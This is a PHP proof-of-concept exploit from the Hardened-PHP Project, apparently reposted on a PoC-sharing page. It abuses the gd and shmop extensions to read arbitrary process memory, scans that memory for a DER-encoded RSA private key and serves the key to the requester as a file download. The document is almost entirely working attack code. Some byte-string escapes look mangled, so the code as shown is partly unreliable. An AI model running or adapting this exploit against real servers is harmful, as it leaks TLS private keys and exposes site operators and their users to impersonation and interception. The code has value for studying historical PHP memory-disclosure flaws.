<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ | || || _ //
// | __ |/ _` || \'_|/ _` |/ -_)| \' / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\\__,_||_| \\__,_|\\___||_||_|\\___|\\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP ext/shmop SSL RSA Private-Key Disclosure Exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die(\"REMOVE THIS LINE\");
if (!extension_loaded(\"gd\") || !extension_loaded(\"shmop\")) {
die(\"This demonstration exploit only works with ext/gd and ext/shmop loaded.\");
}
function init()
{
global $rid;
$rid = imagecreate(10,10);
imagecolorallocate($rid, 0, 0, 0);
imagecolorallocate($rid, 0, 0, 0);
}
function peek($addr, $size)
{
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, $size, 0, 0);
return shmop_read((int)$rid, 0, $size);
}
init();
$offset = 0x08048000 + 1024 * 64;
while (1) {
$data = peek($offset, 1024 + 16);
$position = strpos($data, \"x30x82\");
if ($position !== false && $position < 1024) {
// Potential Key
if (substr($data, $position+4, 4) == \"x02x01x00x02\") {
$length = ord($data[$position+2])*256+ord($data[$position+3])+4;
$keydata = peek($offset + $position, $length);
// Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
if (strpos($keydata, \"x01x00x01\") > 0)
break;
}
}
$offset += 1024;
}
header(\"Content-type: application/octet-stream\");
header(\"Content-Disposition: attachment; filename=\"server.der\"\");
echo $keydata;
?>
匿名 兑换PoC
京公网安备 11010502034610号
暂无评论